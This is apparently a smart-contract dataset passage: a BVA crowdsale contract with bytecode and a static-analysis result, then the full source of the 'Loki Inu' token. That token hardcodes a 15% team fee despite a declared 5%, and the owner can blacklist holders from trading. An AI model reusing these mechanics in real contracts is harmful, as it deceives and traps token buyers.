* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BVA is Ownable, MintableToken {
using SafeMath for uint256;
string public constant name = "BlockchainValley";
string public constant symbol = "BVA";
uint32 public constant decimals = 18;
address public addressFounders;
uint256 public summFounders;
function BVA() public {
addressFounders = 0x6e69307fe1fc55B2fffF680C5080774D117f1154;
summFounders = 35340000 * (10 ** uint256(decimals));
mint(addressFounders, summFounders);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where Contributors can make
* token Contributions and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive. The contract requires a MintableToken that will be
* minted as contributions arrive, note that the crowdsale contract
* must be owner of the token in order to be able to mint it.
*/
contract Crowdsale is Ownable {
using SafeMath for uint256;
BVA public token;
//Start timestamps where investments are allowed
uint256 public startPreICO;
uint256 public endPreICO;
uint256 public startICO;
uint256 public endICO;
//Hard cap
uint256 public sumHardCapPreICO;
uint256 public sumHardCapICO;
uint256 public sumPreICO;
uint256 public sumICO;
//Min Max Investment
uint256 public minInvestmentPreICO;
uint256 public minInvestmentICO;
uint256 public maxInvestmentICO;
//rate
uint256 public ratePreICO;
uint256 public rateICO;
//address where funds are collected
address public wallet;
//referral system
uint256 public maxRefererTokens;
uint256 public allRefererTokens;
/**
* event for token Procurement logging
* @param contributor who Pledged for the tokens
* @param beneficiary who got the tokens
* @param value weis Contributed for Procurement
* @param amount amount of tokens Procured
*/
event TokenProcurement(address indexed contributor, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() public {
token = createTokenContract();
//Hard cap
sumHardCapPreICO = 14700000 * 1 ether;
sumHardCapICO = 4960000 * 1 ether;
//referral system
maxRefererTokens = 2500000 * 1 ether;
//Min Max Investment
minInvestmentPreICO = 3 * 1 ether;
minInvestmentICO = 100000000000000000; //0.1 ether
maxInvestmentICO = 5 * 1 ether;
//rate;
ratePreICO = 1500;
rateICO = 1000;
// address where funds are collected
wallet = 0x00a134aE23247c091Dd4A4dC1786358f26714ea3;
}
function setRatePreICO(uint256 _ratePreICO) public onlyOwner {
ratePreICO = _ratePreICO;
}
function setRateICO(uint256 _rateICO) public onlyOwner {
rateICO = _rateICO;
}
function setStartPreICO(uint256 _startPreICO) public onlyOwner {
//require(_startPreICO < endPreICO);
startPreICO = _startPreICO;
}
function setEndPreICO(uint256 _endPreICO) public onlyOwner {
//require(_endPreICO > startPreICO);
//require(_endPreICO < startICO);
endPreICO = _endPreICO;
}
function setStartICO(uint256 _startICO) public onlyOwner {
//require(_startICO > endPreICO);
//require(_startICO < endICO);
startICO = _startICO;
}
function setEndICO(uint256 _endICO) public onlyOwner {
//require(_endICO > startICO);
endICO = _endICO;
}
// fallback function can be used to Procure tokens
function () external payable {
procureTokens(msg.sender);
}
function createTokenContract() internal returns (BVA) {
return new BVA();
}
function adjustHardCap(uint256 _value) internal {
//PreICO
if (now >= startPreICO && now < endPreICO){
sumPreICO = sumPreICO.add(_value);
}
//ICO
if (now >= startICO && now < endICO){
sumICO = sumICO.add(_value);
}
}
function checkHardCap(uint256 _value) view public {
//PreICO
if (now >= startPreICO && now < endPreICO){
require(_value.add(sumPreICO) <= sumHardCapPreICO);
}
//ICO
if (now >= startICO && now < endICO){
require(_value.add(sumICO) <= sumHardCapICO);
}
}
function checkMinMaxInvestment(uint256 _value) view public {
//PreICO
if (now >= startPreICO && now < endPreICO){
require(_value >= minInvestmentPreICO);
}
//ICO
if (now >= startICO && now < endICO){
require(_value >= minInvestmentICO);
require(_value <= maxInvestmentICO);
}
}
function bytesToAddress(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function procureTokens(address _beneficiary) public payable {
uint256 tokens;
uint256 weiAmount = msg.value;
address _this = this;
uint256 rate;
address referer;
uint256 refererTokens;
require(now >= startPreICO);
require(now <= endICO);
require(_beneficiary != address(0));
checkMinMaxInvestment(weiAmount);
rate = getRate();
tokens = weiAmount.mul(rate);
//referral system
if(msg.data.length == 20) {
referer = bytesToAddress(bytes(msg.data));
require(referer != msg.sender);
//add tokens to the referrer
refererTokens = tokens.mul(5).div(100);
}
checkHardCap(tokens.add(refererTokens));
adjustHardCap(tokens.add(refererTokens));
wallet.transfer(_this.balance);
if (refererTokens != 0 && allRefererTokens.add(refererTokens) <= maxRefererTokens){
allRefererTokens = allRefererTokens.add(refererTokens);
token.mint(referer, refererTokens);
}
token.mint(_beneficiary, tokens);
emit TokenProcurement(msg.sender, _beneficiary, weiAmount, tokens);
}
function getRate() public view returns (uint256) {
uint256 rate;
//PreICO
if (now >= startPreICO && now < endPreICO){
rate = ratePreICO;
}
//ICO
if (now >= startICO && now < endICO){
rate = rateICO;
}
return rate;
}
}
|
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806311c134e11461018057806327f8d7ba146101ab5780633dc7c549146101d85780634203ea57146102035780634c95ca9c1461022e5780634f2484091461025b578063521eb273146102865780635dac7044146102dd578063679aefce1461030a5780636ad43a54146103355780636b6f4826146103625780636f48455e1461038d5780636fb66278146103ba57806377f3293a146103e55780637e445d44146104105780637fa8c1581461043d5780638da5cb5b14610468578063992e74a9146104bf5780639aeb14a5146104ea578063a33a522514610515578063b32cb29214610540578063b9bda2441461056d578063bc40b52a14610598578063c70dd8b3146105c3578063c8765ff2146105f9578063e08d28d314610624578063f2fde38b1461064f578063f62cec2714610692578063fc0c546a146106bf575b61017e33610716565b005b34801561018c57600080fd5b50610195610bd1565b6040518082815260200191505060405180910390f35b3480156101b757600080fd5b506101d660048036038101908080359060200190929190505050610bd7565b005b3480156101e457600080fd5b506101ed610c3c565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b50610218610c42565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b5061025960048036038101908080359060200190929190505050610c48565b005b34801561026757600080fd5b50610270610cad565b6040518082815260200191505060405180910390f35b34801561029257600080fd5b5061029b610cb3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102e957600080fd5b5061030860048036038101908080359060200190929190505050610cd9565b005b34801561031657600080fd5b5061031f610d58565b6040518082815260200191505060405180910390f35b34801561034157600080fd5b5061036060048036038101908080359060200190929190505050610d9e565b005b34801561036e57600080fd5b50610377610e03565b6040518082815260200191505060405180910390f35b34801561039957600080fd5b506103b860048036038101908080359060200190929190505050610e09565b005b3480156103c657600080fd5b506103cf610e71565b6040518082815260200191505060405180910390f35b3480156103f157600080fd5b506103fa610e77565b6040518082815260200191505060405180910390f35b34801561041c57600080fd5b5061043b60048036038101908080359060200190929190505050610e7d565b005b34801561044957600080fd5b50610452610ee2565b6040518082815260200191505060405180910390f35b34801561047457600080fd5b5061047d610ee8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104cb57600080fd5b506104d4610f0d565b6040518082815260200191505060405180910390f35b3480156104f657600080fd5b506104ff610f13565b6040518082815260200191505060405180910390f35b34801561052157600080fd5b5061052a610f19565b6040518082815260200191505060405180910390f35b34801561054c57600080fd5b5061056b60048036038101908080359060200190929190505050610f1f565b005b34801561057957600080fd5b50610582610f84565b6040518082815260200191505060405180910390f35b3480156105a457600080fd5b506105ad610f8a565b6040518082815260200191505060405180910390f35b6105f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561060557600080fd5b5061060e610f90565b6040518082815260200191505060405180910390f35b34801561063057600080fd5b50610639610f96565b6040518082815260200191505060405180910390f35b34801561065b57600080fd5b50610690600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f9c565b005b34801561069e57600080fd5b506106bd600480360381019080803590602001909291905050506110f1565b005b3480156106cb57600080fd5b506106d4611156565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600080600080349450309350600254421015151561073657600080fd5b600554421115151561074757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415151561078357600080fd5b61078c85610e09565b610794610d58565b92506107a9838661117c90919063ffffffff16565b955060146000369050141561085b576107f46000368080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506111b4565b91503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561083157600080fd5b610858606461084a60058961117c90919063ffffffff16565b61127490919063ffffffff16565b90505b610876610871828861128a90919063ffffffff16565b610cd9565b61089161088c828861128a90919063ffffffff16565b6112a6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8573ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610910573d6000803e3d6000fd5b506000811415801561093857506010546109358260115461128a90919063ffffffff16565b11155b15610a5a576109528160115461128a90919063ffffffff16565b601181905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b505050506040513d6020811015610a4757600080fd5b8101908080519060200190929190505050505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1988886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b1f57600080fd5b505af1158015610b33573d6000803e3d6000fd5b505050506040513d6020811015610b4957600080fd5b8101908080519060200190929190505050508673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc572ca10587a0dfbc95b3d9da25b40b8d71a47daa5db9aefa45eb6c99517aa928789604051808381526020018281526020019250505060405180910390a350505050505050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3257600080fd5b8060038190555050565b60075481565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ca357600080fd5b80600d8190555050565b60055481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002544210158015610cec575060035442105b15610d1757600654610d096008548361128a90919063ffffffff16565b11151515610d1657600080fd5b5b6004544210158015610d2a575060055442105b15610d5557600754610d476009548361128a90919063ffffffff16565b11151515610d5457600080fd5b5b50565b6000806002544210158015610d6e575060035442105b15610d7957600d5490505b6004544210158015610d8c575060055442105b15610d9757600e5490505b8091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df957600080fd5b80600e8190555050565b600b5481565b6002544210158015610e1c575060035442105b15610e3357600a548110151515610e3257600080fd5b5b6004544210158015610e46575060055442105b15610e6e57600b548110151515610e5c57600080fd5b600c548111151515610e6d57600080fd5b5b50565b600d5481565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed857600080fd5b8060058190555050565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b60065481565b60115481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7a57600080fd5b8060048190555050565b60095481565b60025481565b600e5481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561103357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561114c57600080fd5b8060028190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561118f57600090506111ae565b81830290508183828115156111a057fe5b041415156111aa57fe5b8090505b92915050565b60008060008060019150601490505b6000811115611269578185600183038151811015156111de57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f0100000000000000000000000000000000000000000000000000000000000000900460ff160283019250610100820291508080600190039150506111c3565b829350505050919050565b6000818381151561128157fe5b04905092915050565b6000818301905082811015151561129d57fe5b80905092915050565b60025442101580156112b9575060035442105b156112da576112d38160085461128a90919063ffffffff16565b6008819055505b60045442101580156112ed575060055442105b1561130e576113078160095461128a90919063ffffffff16565b6009819055505b505600a165627a7a7230582075dec9186bd3f4daddb1e2e225ea6fa182a97612a611a0f11cd73737934fd7e80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 1,689 |
0xbeb80f9f27993951e141afee9452ccf67dc8e36b
|
/*
Loki Inu is going to launch in the uniswap.
It's the fair launch and will add 100% total supply to the liquidity and liquidity will be locked.
https://twitter.com/Loki_Inu
https://t.me/lokiinu
Join to our community!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LokiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Loki Inu";
string private constant _symbol = "LokiInu ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
